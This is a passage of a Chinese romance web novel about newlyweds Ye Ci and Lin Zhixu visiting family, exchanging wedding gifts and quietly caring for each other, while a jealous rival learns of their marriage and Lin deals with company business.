蔺之序不再推辞,双手接过红包,“谢谢外公。” 温书言很健谈,整个用餐过程,他笑声不断,蔺之序不管是认真听,还是接话,都展现出良好的教养。 饭后,蔺之序被温书言邀请进书房。 “会写毛笔字吗?”温书言拿出珍藏的墨宝。 蔺之序回答谦逊,“临过几年帖,后来生疏了。” “来,试试。”温书言兴致很高。 过了一会儿,叶瓷端着茶进去,看到书案上铺着宣纸,外公正拿着蔺之序刚写的一幅字,边看边点头,“笔力遒劲,结构沉稳,有风骨!不错,真不错!” 蔺之序笑,“外公过奖了!” 温书言也笑,“没有过奖,之序的字一眼就是有功底的,不像北庭,怎么练都入不了我的眼。” 叶瓷挽起温书言的胳膊,笑道,“我回去就把外公的话告诉哥哥。” 温书言一摆手,也笑,“我可不怕你告我的状。说起来,我还没找他算账呢,一把年纪了,连个对象也没有,看看人家之序,工作家庭两不误。” 蔺之序突然又被点名夸奖,笑了下,然后转手给外公递上茶。 叶瓷:“外公,哥哥才多大呀,还没三十呢,怎么就一把年纪了,要说一把年纪,您才是呢。” 温书言哈哈大笑,“我是老顽童,哪里就一把年纪了?” 三个人都笑起来。 …… 叶瓷和蔺之序待到天色渐暗才返程。 车窗隔绝了海风,车内静谧。 叶瓷靠在座椅里,心头难得松弛,过了会儿,她轻轻阖上眼,“蔺之序,我要睡了。” 蔺之序见她准备靠窗倚着,手伸过来拉住了她。 叶瓷会意,然后朝他身边挪了挪,近了,她的头靠在他的肩上。 车子平稳地行驶在跨海大桥上,蔺之序单手处理了两个邮件,收回手机,他的视线又不自觉地落在她脸上,睡颜恬静。 看了会儿,他调整了下自己的坐姿,好让她枕得更舒服些。 第18章 第18章 红本本 晚上八点, 黑色幻影缓缓停在了叶宅门口。 蔺之序从外侧拉开车门,微凉夜风瞬间涌入。 叶瓷拿了包刚要下车,蔺之序的西装外套无声地落在了她肩上, 一同包裹上来的还有暖意和淡淡的木质香。 “外面凉。” 蔺之序接过她的包, 另一只手牵住她, 掌心相扣之后,他的手指收了收。 这是两人今天第二次牵手, 在海城见外公时,他在车边将手递给她。 此刻, 他的动作显然熟稔不少。 庭院寂静, 景观灯映出假山和松柏的轮廓,夜风卷起几片早凋的落叶, 在地面上打着旋儿。 到了主宅门口, 叶瓷将西装还给他, 从海城回来的路上,她全程在睡眠里度过, “谢谢,今天陪我去看了外公,我很开心。” 蔺之序笑了下, “以后什么时候想去了,我还陪着你。” 叶瓷笑着点头:“嗯。” 两人没从主宅的正门进去, 蔺之序看一眼电梯, “你住几楼?” 叶瓷:“三楼。” 蔺之序:“我送你上去。” 门开,玄关的灯光自动亮起。 蔺之序停在门外,没有踏入,“早点休息。” “好。”叶瓷点头,手轻轻搭在门框上。 蔺之序转身, 走廊光线拖着他的身影,投在光洁的地板上,叶瓷在原地没动,她想目送他下楼。 蔺之序迈出几步,快到电梯口时,叶瓷看到他停了下来。 俊挺背影静了数秒。 然后,叶瓷看到他转过身来,几步,蔺之序就到了她跟前。 下一秒,他伸出手臂,将她轻轻圈进了怀里。 这个拥抱发生的有些突然,叶瓷直到听见他近在耳边的心跳时才反应过来。 因为是第一次,蔺之序极有分寸,手掌轻贴在她背部,根本不敢用力。 他的声音很近,带着不易觉察的紧绷感,“叶瓷,晚安。” 叶瓷的心跳加了速。 她垂在身侧的手指蜷了下,随即抬起,回抱了他。 掌心里是他劲实的腰线,隔着薄薄的衬衣,她能感受到他温热的体温和坚实的肌理。 终于,她的声音在他怀里闷闷的,“晚安。” 短暂的拥抱结束,蔺之序松开她,后退半步,两人之间恢复了正常的社交距离。 “明天大概几点来接你?” 叶瓷定了定神:“明天想睡个小懒觉,”她看着他,“我要睡到九点。” 这对常年七点半就到工作室的她而言,确实是难得的放纵。 蔺之序笑,“可以。” 叶瓷也笑,“明天我自己开车过去就好,下午还要回工作室一趟,新一季的样衣到了,得去盯一下进度。” 蔺之序没有坚持,“好。” 目送他离开后,叶瓷在门口又站了会儿,才回到房间。 洗漱过,她换上丝质睡裙,正擦着头发,房门就被敲响了。 “姐。” 门开了一条缝,叶溦探进头,表情笑眯眯地,“我能进来吗?” 段敏佳虽不住在这边,不过叶溦和叶湛隔三差五就会过来住上些日子。 尤其是两人小时候,只要叶瓷放假,必定要回来住,天天粘着叶瓷。 “门都开了还问。”叶瓷笑。 叶溦也笑:“姐夫走了吗?” 听她这样问,叶瓷的脸刷地热了,不过看她的表情,应该没看到…… 叶瓷:“走了。” 叶溦笑着放下怀里的零食,“给我看看红本本呗?” 叶溦知道她今天要领证,特意从学校赶回来的。 叶瓷从包里拿出结婚证递过去。 叶溦打开,“哇,姐夫这张脸,这气质——姐,你们俩站一起也太养眼了吧!” 两人正说笑着,门又被敲响,叶溦跑去开门,“大哥,你回来了?” 秦姨说,大哥今晚有应酬。 叶北庭扫一眼她手里的零食,“这么晚了,怎么还吃这些?” 叶溦吐了吐舌头,然后麻溜地转开话题,“大哥,姐姐都领证了,你什么时候给我们也找个嫂子呀?” 叶北庭:“我说过,没结婚的打算。” 叶溦:“大哥你再不抓紧,就真成老男人了,将来找个小嫂子,代沟三米宽。” 叶瓷笑,“哥哥才二十九,哪里就成老男人了。” 替叶北庭找补过,她又想起今天外公的话,于是笑道,“哥,外公说,你现在是一把年纪了。” 旁边的叶溦噗嗤一笑,“一把年纪的老男人。” 叶北庭:“……” 楼下传来开门和换鞋的声音。 “是二哥回来了吧?”叶溦跑到门口往楼下张望。 叶北庭闻言,也站起身,“是阿湛吗?” 这时,叶溦点点头,汇报,“是二哥。” 叶北庭没说什么,抬腿来到走廊。 客厅明亮,他一眼就看到了正在上楼的叶湛,“阿湛,到我书房来一下。” 叶湛听到大哥的声音,抬起头,“哦。” 叶溦看着两人一前一后进了书房,幽幽地问,“姐,二哥又惹大哥生气了?” “不是说信用卡都给他恢复了吗,难道他又买电竞装备了?” 叶瓷好长时间没回过家了,不知道情况,摇摇头,“我们不用管这些。” 叶北庭的书房里,冷色调的灯光均匀地洒在书桌和两侧靠墙的书架上,空气里弥漫着纸张和一丝极淡的雪茄余韵。 书桌上正摊开着厚厚的文件,电脑屏幕还亮着。 他坐进椅子里,隔着书桌,微抬下巴示意叶湛也坐。 叶北庭:“西区仓储上周的盘库报告我看过了,损耗率控制得不错,尤其是生鲜冷链区。” 叶湛:“我们开了会,明确了供应商责任,库管又集中进行了培训。” “嗯,”叶北庭点点头,手指无意识地在桌面上叩了下:“生鲜区的叉车工赵师傅,听说上个月提了个小建议,被采纳了?” 叶湛有些意外大哥连这个都知道,随即答道:“嗯。” 叶北庭:“赵师傅在仓库干了快二十年,他的经验是书本上学不来的。” 叶湛:“嗯。” 叶北庭又问,“明辉连锁的新采购总监,对结算周期有异议,你怎么处理的?” 叶湛:“我做了对比报告,主要分析了缩短周期可能带来的负面影响,然后对方的态度才有了缓和。” 叶北庭点头,“思路很正确,谈判是找平衡点,用事实说话。” “后续跟进如果有拿不准的地方,问陈副总。” “明白,大哥。” 叶湛应着,心里松了口气,不过松气之余,他又感受到实实在在的压力。 大哥对基层的运作细节,对客户动态,甚至对一个叉车工的建议都了如指掌。 这种洞悉一切的掌控力,让他……很敬佩。 书房里陷入短暂的沉默。 叶北庭的目光在叶湛脸上停留片刻,话锋忽然一转,“在基层这几个月,感觉怎么样?” 叶湛如实回答:“学到了很多,和在学校,在总部办公室完全不一样。” “看到了许多实际运作中的问题,也接触了一线的同事,他们的想法和困难,都很真实。” 叶北庭仍看着他:“只是学到东西?有没有别的想法,比如——委屈?” 最后两个字,他说得很轻。 叶湛抬头,然后就撞进叶北庭那双能洞悉一切的眼睛里。 他想起被母亲反复灌输的猜忌,片刻,他垂下眼,盯着自己指节处磨出的薄茧,“很辛苦,不过这些我都能坚持,只是妈总是说……” 后面的话,他没完整复述,但意思已经明了。 叶北庭:“爸爸生前说过,要想掌控一个企业,必须先了解它的每一根毛细血管。只有知道基层员工在想什么、客户真正需要什么,才能做出正确的决策。” 说着,他站起身,从书柜抽屉里取出一个纸袋,“你看看这个。” 叶湛疑惑地打开,里面的文件是叶北庭当年在各个部门轮岗时的工作日志,记录密密麻麻。 “这是我毕业时,爸爸的安排,我几乎做遍了每个基础岗位,你现在的这些情绪,我都经历过。” “所以说阿湛,安排你去基层,不是边缘化,更不是怕你夺权。” “你是我的弟弟,是我最信任的人。我希望你将来站在高处时,能扛得起我们叶氏的担子。” 叶湛眼眶微红,半天,“大哥……我明白了。” 叶北庭伸出手拍了拍他的肩膀,“好好干。” 有人敲门,叶北庭看向门口,是两个妹妹,“怎么了?” 叶溦一眼就看见了二哥眼眶微红。 转脸,她朝叶瓷耸了耸肩,“姐,你看我猜对了吧,大哥就是把他骂哭了。” 叶北庭:“……” 叶湛要面子,抬手抹了把眼睛,“去去去,少在这儿看图说话。” 叶溦笑着凑过去,“二哥哥,男儿有泪不轻弹,我好好奇,大哥怎么骂你的?” 叶湛面无表情地往外走,“叶溦溦,咱俩以后绝交。” 叶溦追着他不放,非要他讲,两人你追我闹地出去后,书房安静下来。 叶瓷拉开椅子坐下,她告诉叶北庭,“今天去海城看外公了。” 叶北庭晚上应酬回来时,在门口看到蔺之序的车,不过,当时只有司机在车里,“我以为你们领过证之后会去蔺家庆祝。” 叶瓷:“明天再去。” 叶北庭哦了声,“蔺之序和你一起去的海城?” 叶瓷笑:“嗯,外公挺喜欢他的。” 叶北庭点点头,片刻,“那你呢?” 叶瓷一怔,脱口而出,“什么?” 叶北庭笑了下,叶瓷忽然明白哥哥说的意思了,明白过后,她也没有难为情。 叶瓷一直都是个很直接的人,对外人或许会保留几分,可在叶北庭面前,她从来都是有什么说什么。 想了想,她说,“目前来说,我觉得我们相处的还不错。” “感情需要时间培养,我们现在就处在培养感情的阶段。” 叶北庭听她这样说,心里多少有了些欣慰,两人又聊了会儿,叶瓷起身,“我先回房间了,哥哥也早点休息。” 叶北庭:“小瓷等下。” 叶瓷看他站了起来,“你和蔺之序已经领过结婚证,明天就是正式登门,该有的礼数不能少,你跟我到收藏室挑几样礼物。” 叶家的收藏室在后宅。 “字画在右侧,瓷器玉器在左侧。蔺老喜欢什么?” 叶瓷想起上次去蔺宅给蔺之序庆祝生日时,她就是送了一套茶具给蔺建昆,席间,听他说话,感觉他对茶具很有研究。 “茶具吧。” 叶北庭闻言走向左侧玻璃柜。 接着,叶瓷见他取出个鎏金紫檀茶则:“前年拍卖会收的。” 他点了点茶则边缘的暗纹,“蝙蝠衔铜钱,寓意好。” 叶瓷哦了声,她不太懂这些。 两人又选了会儿,最后敲定,送给汤静娴一对冰种飘花耳坠。 第19章 第19章 多陪陪老婆才是正经 叶瓷站在衣帽间的落地镜前, 将珍珠耳钉轻轻扣上。 一袭浅杏色真丝连衣裙,腰间一道极细的银线刺绣若隐若现,这是她上季度为自己设计的样衣。 蔺之序提前了二十分钟到, 此刻正和叶北庭在客厅喝茶。 “小瓷还在上面?”叶北庭望了眼楼梯, 声音传上来。 蔺之序:“不急。” 楼上, 叶瓷拿起小巧的羊皮手包。 领证二十四小时,她第一次以蔺太太的身份去蔺家老宅, 这个认知让她在迈出房门时下意识地深吸了一口气。 旋转楼梯的拐角处,视野开阔。 蔺之序坐在单人沙发里, 背脊挺直, 姿态放松却自带气场。 他正微侧着头听叶北庭说话,手边放着一杯清茶, 杯沿正升起袅袅热气。 “下来了?”叶北庭率先看到她。 蔺之序随之转头。 他的目光落在叶瓷身上, 停顿了半秒, 接着,他站起身, 顺手理了理本就平整的西装前襟。 叶北庭笑着,拿起一个暗红色信封,样式传统, 没有多余的装饰,他自然地递向蔺之序:“一点心意。” 蔺之序显然有些意外, 但也并未推拒, 双手接过。 信封不厚,触感倒像是某种硬质卡片。 叶瓷走近了,她看见信封一角露出的黑金卡片边缘。 昨晚两人从收藏室出来,叶北庭也没有提及这件事。 父母不在,哥哥虽说是平辈, 却也担起了大家长的职责。 “大哥费心了。”蔺之序颔首,然后将信封收进西装内袋。 “应该的。”叶北庭笑容温和,随后,他转向叶瓷,“公司还有事,我就不陪你们了。” 叶瓷嗯了声,“哥哥再见。” 叶北庭走后,蔺之序朝叶瓷走近几步,“昨晚睡得好吗?” 叶瓷看他,“……还好。” 好久没有像这两天一样,能睡到自然醒,不过,因为从海城回来的路上,她睡得多了,导致昨晚入睡有些困难。 一闭上眼,脑子里竟然都是蔺之序过来抱她的场景,翻来覆去之后,她索性爬起来又画了会儿设计图。 回答过“还好”,叶瓷抬头对上他的视线,“你呢?“ 蔺之序笑了下,“还行。” 说完,他看眼腕表,“我们走吧。” 他伸手接过她的包,掌心向上摊开在她面前,两人的影子在地板上交叠,分不清是谁的轮廓包裹了谁。 叶瓷望着他的手,没有迟疑,自然地搭进了他的掌心。 他的手掌温暖干燥,指腹带着薄茧,瞬间包住她的手。 他握得很稳,拇指在她虎口处轻轻摩挲了一下,像是一个无声的安慰。 两人穿过庭院朝门口走,叶瓷被他牵着,感受到他温柔的力道,从昨天开始,牵手似乎已经成了一种默契。 去蔺家老宅的路上,叶瓷看到中控台上放着一份烫金请柬。 “念一准备的。”蔺之序注意到她的视线,笑着道,“说是要正式欢迎你。” 叶瓷翻开内页,一行娟秀字迹:“欢迎我最美的嫂子回家!” 后面还画着几朵小花。 叶瓷拿着请柬,笑了下。 她和蔺念一只在订婚宴上见过一次,她还知道蔺念一今年刚上大二。 蔺家老宅的门缓缓开启,蔺念一已经抱着花束等在门廊下了。 车刚停稳,她小跑着迎上来,“嫂子!” 叶瓷下车,一大捧以白绿为主色调,点缀着淡奶油色花朵的花束就被塞进怀里。 铃兰、白郁金香、重瓣洋桔梗和尤加利叶,搭配得清新雅致,花瓣上还沾着露珠。 “嫂子喜欢吗?”蔺念一亲昵地挽住叶瓷的手臂。 叶瓷笑:“很漂亮,谢谢念一。” 正厅门敞着,蔺建昆正在沏茶,旁边的汤静娴穿着米白色香云纱旗袍,手里拿着茶则,见他们进来,她放下茶具,朝叶瓷招手,“小瓷来了,快坐。” 叶瓷上前奉了礼盒,汤静娴笑道,“有心了。” 接着,汤静娴和蔺建昆相视一笑,她从抽屉取出一个朱漆描金的锦盒,叶瓷忙摆手,“昨天已经收过伯父伯母的红包了。” 汤静娴笑着拉过她的手,“昨天是庆祝你们小两口领证,今天这个呀,是我们小瓷的改口费哦。” 叶瓷的手指微微一颤,锦盒沉甸甸的,触手生温,盒面上雕刻着繁复的缠枝莲纹,她下意识看向蔺之序,蔺之序抬手握了握她的肩膀,“收下吧。” 叶瓷调整了下呼吸,手指抚过锦盒上细腻的纹路,抬头看向汤静娴和蔺建昆,“谢谢…爸,妈。” “哎!”汤静娴响亮地应了一声,眼角笑纹立即舒展开。 叶瓷打开锦盒,里面是一对羊脂玉镯。 汤静娴笑着告诉她,“这是老太太当年给我的,现在传给蔺家的媳妇。” 蔺之序牵住叶瓷的手,刚才改口时,他看到她耳尖已经红得像是要滴血,但仪态依旧端庄,脖颈的线条优雅地延伸进衣领,像一只白天鹅。 他手指收了收,像是安慰,“我帮你戴上。” 叶瓷垂眸,“好。” 近在咫尺,他的呼吸声清晰可闻,温热的吐息拂过她腕间,玉镯滑入手腕的刹那,蔺之序的拇指不着痕迹地在她脉搏处按了一下,快得像是错觉。 叶瓷的心跳骤然加速,那块皮肤像是被烫着了似的,热度一直蔓延到脸颊。 “很适合。”蔺之序松开手,嗓音有些哑。 坐回后,他端起茶盏抿了一口。 汤静娴将一切尽收眼底,脸上满是欣慰的笑。 “叶瓷尝尝这个。” 蔺建昆适时打破沉默,推过一碟桂花酥,“你妈妈特意让厨房做的。” 叶瓷道谢接过,指尖不小心碰到蔺之序还没来得及收回的手。 桌布下,他反手一握,将她的手指勾住,极快地缠了一下,又慢慢松开。 细微的轻缠像带着蛊一般,叶瓷瞬间连和他对视的勇气都没有了,余光里,只有玉镯在腕间轻晃。 汤静娴提起紫砂壶,水流缓缓注入她面前的青瓷杯中。 放下茶壶,汤静娴看向叶瓷,“改天得请大师算算婚礼的日子。”说着,她笑了笑,语气里带着长辈的慈爱,“不过,婚纱照和婚礼当天的礼服得提前准备,小瓷是这方面的行家,这事就交给你拿主意了。” 叶瓷思索片刻,“让彭罄老师设计礼服吧。” 汤静娴轻轻啊了一声,显然对彭罄并不陌生,“我记得去年苏家大小姐的婚礼,那套改良旗袍婚纱就是出自她手。” 叶瓷点点头。 圈子里人情往来,汤静娴没少参加小一辈的婚礼,只她有印象的就有好几个都是彭罄设计的礼服,大气端庄,又符合年轻人的现代审美。 汤静娴笑着拍拍叶瓷的手:“看来找彭老师是找对人了。她既懂我们这些老派人要的体面,又明白你们年轻人要的特别。” 叶瓷:“如果伯母……妈觉得合适,我可以先联系彭老师,问问档期。” 汤静娴笑着摆摆手:“你不用费心了,这事我来安排。” 蔺建昆看向汤静娴:“时间上也不要太急,叶瓷这段时间要忙时装周,等结束后再安排也可以,免得她分心。” 汤静娴笑:“对对,这段时间还是要以工作为主。” 接着,蔺建昆又对旁边的蔺之序说,“叶瓷去巴黎参展的时候,你也一起去,陪陪她。” 蔺之序颔首,“那几天的行程已经空出来了。” “这就对了。”汤静娴满意地笑,“以后啊,工作放一放,多陪陪老婆才是正经。” 蔺之序闻言,点了点头,“嗯。” 叶瓷没想到他竟然已经提前调整了行程,意外的同时,又顿觉安心。 这时,一直坐在一旁安静吃点心的蔺念一放下银叉,“妈,哥哥嫂子去巴黎,我可不可以也一起去啊?” 汤静娴看着女儿,“你也想去吗?” 蔺念一笑:“当然!” 汤静娴应允:“行,想去就去。不过到时候要听哥哥嫂子的话。” “嗯嗯!” 叶瓷低头又抿一口茶,茶汤温润,滑入喉间,带着淡淡的回甘。 汤静娴看了看两人,语气轻快:“那就这么定了,我下午联系彭老师,你们两个专心忙你们的,婚礼的事,咱们一步步来。” 午餐设在花厅。 长桌铺着素净的桌布,餐具是骨瓷镶着细细的铂金边。 席间,蔺建昆开了瓶红酒,叶瓷因为下午还要开车回工作室,于是就以茶当酒。 餐桌上,菜品陆续被端上来,气氛和睦,菜肴精致,话题轻松。 蔺建昆询问了工作室近况,汤静娴分享了些蔺之序小时候的趣事,蔺念一偶尔插话,引得大家莞尔。 叶瓷离开时已是下午两点钟,蔺之序送她到车前。 “到了给我发消息。” 叶瓷坐进驾驶座,系好安全带,“嗯。” 引擎发动,蔺之序又走近两步,影子落在车窗框上,“路上注意安全。” 叶瓷笑,“嗯,知道。” 跑车缓缓加速,她习惯性地看向后视镜。 镜子里,那个身影依旧伫立原地。 青灰砖墙带着岁月的痕迹,一身深色西装,身形挺拔,与身后沉静的老宅奇异地融合,像一幅年代久远的画。 第20章 第20章 老公默默投喂 叶瓷的车稳稳停进车库, 手机屏幕适时亮起,是助理小于的来电。 她熄了火,接通电话。 “叶总, 样衣间那边出了点状况。第三套秀裙的裙撑, 和立体刺绣部分在动态测试时有点冲突, 走动时裙摆的流苏会勾住绣片的边缘。” 叶瓷眉心微蹙,“版师和工艺师都在现场吗?” 小于:“都在, 但意见不太统一,需要你定夺。” “知道了。让他们把冲突点拍清晰视频发我邮箱, 我半小时内回工作室处理。”叶瓷语速平稳, “另外,通知面料组, 备用方案B的进口蕾丝样本, 送去我办公室。” 小于:“好的叶总。” 挂断电话, 她指尖在方向盘上停顿片刻,点开了与蔺之序的对话框。 叶瓷:【我到了。】 回复并未立刻出现, 叶瓷没再等,推门下了车。 初秋的阳光透过梧桐叶间隙洒在石径上,她眯了眯眼, 快步穿过庭院。 西厅的落地窗敞开着,隐约传来交谈声。 叶瓷本打算直接上楼取资料, 却听见哥哥叫她的名字。 转身, 她看见叶北庭正坐在藤椅上,对面是梁屿亨和一个陌生女孩。 “哥。” 叶瓷走过去,目光礼貌地掠过梁屿亨和他身旁的女孩。 梁屿亨已起身,笑容温和,“瓷瓷, 好久不见。听北庭说你订婚了,恭喜恭喜啊。” 叶瓷也笑,“谢谢屿亨哥。” 梁屿亨与叶北庭同岁,两人是多年好友,因为经常来往,叶瓷从小就跟他很熟悉,一直到现在,见了面,也是喊屿亨哥。 这时,梁屿亨向她介绍,“我女朋友,宋窈。” 宋窈笑着看向叶瓷,“你好,一直听屿亨提起霓坊的设计,今天终于有机会见到设计师本人了。” “我妹妹舜舜上次的小提琴独奏会,穿的就是你设计的礼服,效果非常惊艳。” 叶瓷心中了然,原来她是宋舜的姐姐。 “宋小姐过誉了,宋舜气质独特,穿那样的剪裁很出彩。” 又聊了两句,叶瓷说,“你们聊,我先上楼取东西。” 来到三楼走廊时,口袋里的手机轻轻一震。 她脚步未停,指尖划开屏幕。 蔺之序:【好的。】 在书房里,她迅速找出所需的几卷图纸。 下来时,西厅里传来梁屿亨的说话声和宋窈的笑语。 叶瓷没有停留,径直走向车库。 梁屿亨家学深厚,为人温润,与娴静大方的宋窈站在一起,确是一对璧人。 她突然想到自己和蔺之序,在一起时是不是也是这样的般配画面? 念头一闪而过,她又开车出了叶宅。 二十分钟后,叶瓷到了工作室,刚停好车,小于已快步迎了出来。 “叶总,视频和备用样本都放在你桌上了。工艺部那边还在等你指示。” “知道了。”叶瓷步履不停,高跟鞋敲在大理石地面上,发出清脆回响。 一下午都在忙碌中度过,晚上七点的时候,叶北庭给她打电话,问今晚回不回家住。 叶瓷当时正在吃外卖,“不回了。” 她听出他在饭局上。 她知道,到了叶北庭的位置,已不需要像其他人那样殷勤举杯、堆笑逢迎,那些想要攀附的人,自然会主动凑上来敬酒。 “哥哥也要少喝酒啊。” 叶北庭笑了下,“知道,明早想吃什么,我让秦姨提前准备食材。” 叶瓷想了想,“菠菜,鸡胸肉,还有米糊吧。” 叶北庭:“好的。” 翌日上午。 叶瓷从面料库出来,小于正在外面等着。 “蔺总的司机刚打电话来,说十分钟后到,送点东西给您。” 叶瓷脚步微顿,拿出手机,看到季叔半个小时前打来的两个电话。 小于:“他说打您的电话没打通,所以就打到了前台。” 叶瓷问:“有说什么事吗?” 小于:“没有,只确认您是否在工作室。” 叶瓷点头,径直走进电梯。 十五分钟后,小于敲门进来,手里捧着一个精致的青瓷盏。 “蔺总司机送来的。”小于将瓷盏放在桌上,“说是给您润喉。” 叶瓷的目光从电脑屏幕上移开,落在瓷盏上。 揭开盖子,是燕窝雪梨盅,晶莹剔透的燕窝丝浮在琥珀色的汤汁里,点缀着几颗饱满的红枸杞。 她拿起配套的玉勺,舀起一小勺送入口中。 温度刚好,清甜不腻,雪梨的微酸完美中和了燕窝的滑润。 这不像外面餐厅的出品。 “司机人呢?”叶瓷问。 小于:“放下东西就走了,车刚刚就停在咱们楼侧面的树荫下。” 叶瓷哦了声。 黑色迈巴赫还在安静地停着,车窗贴了防窥膜,从外面看,只能隐约映出模糊的轮廓。 车内冷气开得很足,温度恒定在22度,真真皮座椅微微泛着冷调的哑光。 蔺之序坐在后排。 季叔从后视镜里悄悄瞥了一眼,犹豫片刻,还是开口:“少爷,你来都来了,真不告诉少奶奶一声?” 蔺之序目光没抬,“不用。” 平板屏幕上是未处理完的季度财报,他垂眸浏览着,指节偶尔在边缘轻敲两下。 季叔张了张嘴,还想再劝,却见他神色沉静,显然没有继续这个话题的意思。 季叔只好闭了嘴,心里却忍不住叹气——明明特意绕路过来,还让家里炖了燕窝雪梨盅,却连面都不露。 车内的氛围安静得近乎冷肃,蔺之序的视线落在平板上,数据一行行扫过,但他的思绪却短暂地偏离了一瞬。 叶瓷最近为了时装周的事,几乎没怎么休息,他知道她承受着很大的压力,每天的高强度的工作又十分耗神,他自己好像也没有什么可以帮忙的。 所以,尽量不打扰她。 更何况,他自己手头也有亟待处理的并购案,下午的会议不能迟到。 收回思绪,他在平板上划动,调出下一份文件。 这时,季叔透过后视镜,又悄悄看了一眼。 蔺之序眉眼间看不出任何情绪波动,仿佛刚才那一瞬的走神只是错觉。 看来,他是真的不打算让叶瓷知道他来过。 外面传来一阵张扬的跑车引擎轰鸣声,由远及近,最终停在了紧邻着迈巴赫旁边的车位。 宋舜推开车门,细高跟踩在地面上,发出一声清脆的响。 阳光刺眼,她抬手挡了挡,墨镜下的目光却倏然一顿——停在旁边那辆黑色迈巴赫上。 车窗紧闭,防窥膜将车内遮得严严实实,却遮不住那串醒目的车牌。 宋舜的指尖在车门上微微收紧,这个车牌号她听说过,京圈里能挂这种连号的车不多,蔺家是其中之一。 她立即猜到,这是蔺之序的座驾。 这时,宋窈也下了车,宋舜拉过她的手,告诉她,“这好像是蔺之序的车。” 宋窈也回头看了眼,就听见宋舜接着道:“他的车怎么在这儿?难道他还会来这里定制西装?太不可思议了吧。” 宋窈笑,“他可能不是来定制西装的,我想,他是来找叶瓷的。” 宋舜皱眉,“找她干什么?” 宋窈又笑,“叶瓷是他的未婚妻,他来这里不是很正——” “他们订婚了?”宋舜一脸震惊。 宋窈:“对啊,订婚有一段时间了吧,听屿亨说,已经领过证了,下一步就是办婚礼了。” 宋舜嘴巴张了张,“这都什么时候的事儿?我怎么一点儿都不知道!” 宋窈:“订婚大概是在五一前后吧。” 宋舜想起来了,那段时间,她一直在国外参加音乐节比赛,让她很震怒的是,这么重大的消息,她竟然一点儿都不知情。 宋舜:“真是看不出来,她还挺有本事的,竟然攀上了蔺家。” 京北蔺家,那是圈子里多少千金小姐们削尖脑袋也想进去的名门望族,更别提蔺之序一表人才,能力出众,年纪轻轻就成为了家族话事人,掌握了企业的核心命脉。 在这些想攀附的千金们里面,也有她宋舜。 此刻,幻想破灭,宋舜有些恼羞成怒,她挣开宋窈的手,“本来我是跟老师约了练琴的,非拉我过来,现在又给我添堵!” 宋窈不明就里,只道她小孩子脾气阴晴不定,也没去深究,笑着道,“怎么就给你添堵了,哇,这霓坊还挺漂亮,舜舜,你看这面蔷薇,这就是网上的那个打卡地点吧?” 她拉着宋舜,想要宋舜给她拍照,宋舜没心情,“你自拍吧。” 宋窈没再勉强,自己开始拍照。 正拍着,一旁的宋舜发牢骚,“叶北庭能让他妹妹攀上蔺家,爸爸呢?满眼都是生意,对你的将来从来都不上心。” 宋窈笑,“我已经有男朋友了,爸爸也很满意。” 宋舜不屑,“那个梁屿亨吗?你和爸爸也真是有意思,放眼整个京圈,他们梁家能排上号吗。” 宋窈:“可是人家梁家是书香门第呀,我就喜欢这样氛围的家庭。” 宋舜:“你就自欺欺人吧,等将来结了婚,有你后悔的。” 宋窈:“我怎么就后悔了?” 宋舜:“他们梁家能养得起你吗,就凭梁屿亨在大学里教课的那点儿工资?我看你以后想穿高定,也只好来这里了。” 宋窈知道她打小争强好胜的性子,也不跟她理论,拍过了照,拉着她直接进了电梯。 楼上总监办公室。 小于合门出去后,叶瓷拿起手机,对着瓷盏拍了一张照片。 点开与蔺之序的对话框,打出“谢谢”二字,准备发送,又犹豫片刻,于是删掉,重新输入,发送:【好喝。】魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 20-30 第21章 第21章 送给老婆的 蔺之序看着两人的对话框, 良久:【你喜欢就好。】 “少爷变了。” 前排突然传来季叔带着笑意的声音。 蔺之序抬眼,“什么变了?” 季叔嘿嘿一笑:“订婚以前,少爷只喜欢工作, 现在嘛, 又多了个少奶奶。” 蔺之序没有接话, 片刻,“专心开车。” 半个小时后, 盛域集团总裁办公室。 蔺之序坐在宽大的办公桌后,面前是收购案的最终确认函。 这份协议不仅意味着盛域集团在欧洲高端精密制造领域的关键布局尘埃落定, 更以低于市场预期的溢价, 为股东交上了一份近乎完美的答卷。 蔺之序利落地签下名字。 潘岩接过文件,眼里带着不易察觉的敬佩。 这场硬仗, 蔺总赢得漂亮。 蔺之序:“通知下去, 三点整, 1号会议室。” 潘岩:“是,蔺总。” 三点五分, 盛域集团核心决策层已悉数落座。 巨大的环形会议桌中央,象征着权力核心的位置空着。 当蔺之序推门而入时,所有低语瞬间消失。 他步履沉稳, 深色高定西装勾勒出挺拔的身形,气场强大, 周身散发着掌控全局的稳重。 他没有多余的寒暄, 径直落座,目光扫过全场:“开始吧。” 各部门负责人依次汇报。 市场部新任总监精明干练,对新并入的欧洲业务如何融入盛域全球体系,提出了清晰的三阶段策略。 蔺之序认真听完,指尖在桌面轻扣两下:“第二阶段的时间节点, 提前两周。欧洲市场窗口期不等人。” 市场总监眼神一凛,立刻应下:“明白,会后立刻调整方案。” 会议高效推进。 轮到生产运营部汇报,总监王振宇调出投影,展示的是集团位于东南亚新建的大型智能化制造基地“墨森项目”的最新进展。 “整体进度符合预期,设备安装完成度百分之九十八,下月初开始试产调试。”王振宇语气不急不缓,但蔺之序的目光却锁定了屏幕上几行跳动的参数指标。 “能耗比预期高出7.2%。” 蔺之序的声音不高。 王振宇立刻解释:“调试阶段波动属于正常范围,我们预估在磨合期后会逐步下降至标准值。” 蔺之序没有移开视线,手指在平板电脑上快速滑动,调出了更详尽的历史数据和同类型项目的对标参数。 “能耗超出正常阈值。原因分析?” 王振宇额头渗出细汗:“初步判断是新型节能温控系统与本地高湿环境的适配问题,也可能是部分精密传感器校准存在微小偏差。技术团队正在排查。” 会议室的空气凝重了几分。 所有人都明白,能耗超标直接影响项目成本和长期竞争力。 蔺之序沉默了几秒,目光锐利。 他看向王振宇,也看向屏幕上的数据流,最终,他合上手中的平板。 “墨森项目是集团未来五年东南亚地区的核心支点,不能有任何闪失。”他站起身,语气不容置疑,“王总监,你继续跟进整体进度。我亲自去现场盯两天调试。潘岩,订今晚的机票。” “是,蔺总!”王振宇和潘岩同时应声。 王振宇脸上闪过一丝羞愧,但更多的是压力和责任。 潘岩则快速记录指令。 “其他人,按既定计划推进,散会。” 蔺之序言简意赅,会议结束。 …… 东南亚的空气湿热粘稠,蔺之序抵达“墨森项目”基地后,没有片刻休息,直接换上工装,扎进了核心装配车间。 两天,四十八小时。 他没有站在指挥室听汇报,而是深入一线,与技术工程师一同分析实时数据流,甚至亲手操作仪器校准了几个关键传感器。 